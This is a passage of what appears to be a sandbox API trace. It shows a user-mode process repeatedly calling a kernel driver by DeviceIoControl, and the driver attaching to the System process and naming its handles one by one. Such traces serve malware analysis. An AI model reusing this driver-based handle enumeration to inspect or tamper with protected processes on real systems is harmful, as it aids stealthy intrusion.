PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.486] PsAcquireProcessExitSynchronization () returned 0x0 [0111.486] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.488] ObReferenceObjectByHandle (in: Handle=0xffffffff80000af0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8010da5050, HandleInformation=0x0) returned 0x0 [0111.489] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.491] PsReleaseProcessExitSynchronization () returned 0x2 [0111.496] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.497] ObQueryNameString (in: Object=0xfffffa8010da5050, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.500] ObfDereferenceObject (Object=0xfffffa8010da5050) returned 0x2 [0111.502] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.517] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.531] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.563] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.569] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.577] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.578] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b00, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80036033c0, HandleInformation=0x0) returned 0x0 [0111.579] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.579] PsReleaseProcessExitSynchronization () returned 0x2 [0111.580] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.591] ObQueryNameString (in: Object=0xfffffa80036033c0, ObjectNameInfo=0xfffffa800254c044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800254c044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.591] ObfDereferenceObject (Object=0xfffffa80036033c0) returned 0x2 [0111.591] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.591] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.591] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.591] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.592] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.592] PsAcquireProcessExitSynchronization () returned 0x0 [0111.592] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.592] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b04, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003732a00, HandleInformation=0x0) returned 0x0 [0111.592] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.592] PsReleaseProcessExitSynchronization () returned 0x2 [0111.592] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.592] ObQueryNameString (in: Object=0xfffffa8003732a00, ObjectNameInfo=0xfffffa800260a044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800260a044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.592] ObfDereferenceObject (Object=0xfffffa8003732a00) returned 0x2 [0111.592] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.592] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.592] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.592] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.592] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.592] PsAcquireProcessExitSynchronization () returned 0x0 [0111.592] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.592] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b08, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80037d1f20, HandleInformation=0x0) returned 0x0 [0111.592] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.592] PsReleaseProcessExitSynchronization () returned 0x2 [0111.592] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.592] ObQueryNameString (in: Object=0xfffffa80037d1f20, ObjectNameInfo=0xfffffa8002506044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002506044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.592] ObfDereferenceObject (Object=0xfffffa80037d1f20) returned 0x2 [0111.592] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.592] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.592] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.592] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.592] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.592] PsAcquireProcessExitSynchronization () returned 0x0 [0111.593] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.593] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800322de50, HandleInformation=0x0) returned 0x0 [0111.593] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.593] PsReleaseProcessExitSynchronization () returned 0x2 [0111.593] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.593] ObQueryNameString (in: Object=0xfffffa800322de50, ObjectNameInfo=0xfffffa8002501044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002501044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.593] ObfDereferenceObject (Object=0xfffffa800322de50) returned 0x2 [0111.593] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.593] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.593] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.593] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.593] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.593] PsAcquireProcessExitSynchronization () returned 0x0 [0111.593] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.593] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b14, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003527a20, HandleInformation=0x0) returned 0x0 [0111.593] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.593] PsReleaseProcessExitSynchronization () returned 0x2 [0111.593] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.593] ObQueryNameString (in: Object=0xfffffa8003527a20, ObjectNameInfo=0xfffffa80024cf044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80024cf044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.593] ObfDereferenceObject (Object=0xfffffa8003527a20) returned 0x2 [0111.593] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.593] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.593] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.593] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.593] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.594] PsAcquireProcessExitSynchronization () returned 0x0 [0111.594] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.594] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b18, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80038ee410, HandleInformation=0x0) returned 0x0 [0111.594] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.594] PsReleaseProcessExitSynchronization () returned 0x2 [0111.594] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.594] ObQueryNameString (in: Object=0xfffffa80038ee410, ObjectNameInfo=0xfffffa800250f044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800250f044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.594] ObfDereferenceObject (Object=0xfffffa80038ee410) returned 0x2 [0111.594] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.594] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.594] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.594] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.594] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.594] PsAcquireProcessExitSynchronization () returned 0x0 [0111.594] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.594] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80038c5920, HandleInformation=0x0) returned 0x0 [0111.594] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.594] PsReleaseProcessExitSynchronization () returned 0x2 [0111.594] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.594] ObQueryNameString (in: Object=0xfffffa80038c5920, ObjectNameInfo=0xfffffa80033f8044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f8044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.594] ObfDereferenceObject (Object=0xfffffa80038c5920) returned 0x2 [0111.594] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.594] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.594] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.594] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.594] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.594] PsAcquireProcessExitSynchronization () returned 0x0 [0111.594] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.594] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b20, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003536ae0, HandleInformation=0x0) returned 0x0 [0111.594] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.594] PsReleaseProcessExitSynchronization () returned 0x2 [0111.594] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.594] ObQueryNameString (in: Object=0xfffffa8003536ae0, ObjectNameInfo=0xfffffa8002498044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa8002498044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.595] ObfDereferenceObject (Object=0xfffffa8003536ae0) returned 0x2 [0111.595] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.595] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.595] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.595] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f505e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0111.595] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.595] PsAcquireProcessExitSynchronization () returned 0x0 [0111.595] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.595] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b24, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa800e75f050, HandleInformation=0x0) returned 0x0 [0111.595] ObfDereferenceObject (Object=0xfffffa800e75f050) returned 0x2 [0111.595] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.595] PsReleaseProcessExitSynchronization () returned 0x2 [0111.595] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.595] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.595] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.595] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.595] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f505e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0111.595] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.595] PsAcquireProcessExitSynchronization () returned 0x0 [0111.595] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.595] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b28, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003579440, HandleInformation=0x0) returned 0x0 [0111.595] ObfDereferenceObject (Object=0xfffffa8003579440) returned 0x2 [0111.595] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.595] PsReleaseProcessExitSynchronization () returned 0x2 [0111.595] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.595] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.595] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.595] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.595] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0111.595] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.595] PsAcquireProcessExitSynchronization () returned 0x0 [0111.595] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.595] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b38, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003313ae0, HandleInformation=0x0) returned 0x0 [0111.596] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.596] PsReleaseProcessExitSynchronization () returned 0x2 [0111.596] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.596] ObQueryNameString (in: Object=0xfffffa8003313ae0, ObjectNameInfo=0xfffffa80033f5544, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80033f5544, ReturnLength=0xfffff88005590550) returned 0x0 [0111.596] ObfDereferenceObject (Object=0xfffffa8003313ae0) returned 0x2 [0111.596] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.596] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.596] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.596] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.596] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.596] PsAcquireProcessExitSynchronization () returned 0x0 [0111.596] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.596] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b40, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa80038ed520, HandleInformation=0x0) returned 0x0 [0111.596] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.596] PsReleaseProcessExitSynchronization () returned 0x2 [0111.596] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.596] ObQueryNameString (in: Object=0xfffffa80038ed520, ObjectNameInfo=0xfffffa800280d044, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa800280d044, ReturnLength=0xfffff88005590550) returned 0x0 [0111.596] ObfDereferenceObject (Object=0xfffffa80038ed520) returned 0x2 [0111.596] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.596] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.596] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.596] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f505e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0111.596] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.596] PsAcquireProcessExitSynchronization () returned 0x0 [0111.596] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.596] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b44, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0111.596] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.596] PsReleaseProcessExitSynchronization () returned 0x2 [0111.596] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.596] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.596] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.596] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.597] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f505e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0111.597] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.597] PsAcquireProcessExitSynchronization () returned 0x0 [0111.597] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.597] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b48, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0x0, HandleInformation=0x0) returned 0xc0000008 [0111.597] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.597] PsReleaseProcessExitSynchronization () returned 0x2 [0111.597] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.597] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.597] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.597] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.597] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1f505e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0111.597] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.597] PsAcquireProcessExitSynchronization () returned 0x0 [0111.597] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.597] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b58, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80038d3700, Object=0xfffff88005590548, HandleInformation=0x0 | out: Object=0xfffff88005590548*=0xfffffa8003286c70, HandleInformation=0x0) returned 0x0 [0111.597] KeUnstackDetachProcess (ApcState=0xfffff880055905d0) [0111.597] PsReleaseProcessExitSynchronization () returned 0x2 [0111.597] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x14a [0111.597] ObQueryNameString (in: Object=0xfffffa8003286c70, ObjectNameInfo=0xfffffa80023ac7c4, Length=0x800, ReturnLength=0xfffff88005590550 | out: ObjectNameInfo=0xfffffa80023ac7c4, ReturnLength=0xfffff88005590550) returned 0x0 [0111.597] ObfDereferenceObject (Object=0xfffffa8003286c70) returned 0x2 [0111.597] IofCompleteRequest (Irp=0xfffffa800211c1b0, PriorityBoost=0) [0111.597] HeapFree (in: hHeap=0x270000, dwFlags=0x0, lpMem=0x1f505e0 | out: hHeap=0x270000) returned 1 [0111.597] RtlAllocateHeap (HeapHandle=0x270000, Flags=0x0, Size=0x808) returned 0x1f505e0 [0111.597] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8, nInBufferSize=0x20, lpOutBuffer=0x1f505e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpOutBuffer=0x1f505e0, lpBytesReturned=0x12d450, lpOverlapped=0x0) returned 0 [0111.597] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff88005590558 | out: Process=0xfffff88005590558) returned 0x0 [0111.597] PsAcquireProcessExitSynchronization () returned 0x0 [0111.597] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880055905d0) [0111.597] ObReferenceObjectByHandle (in: Handle=0xffffffff80000b5c, DesiredAccess=0x0, ObjectType=0x0, 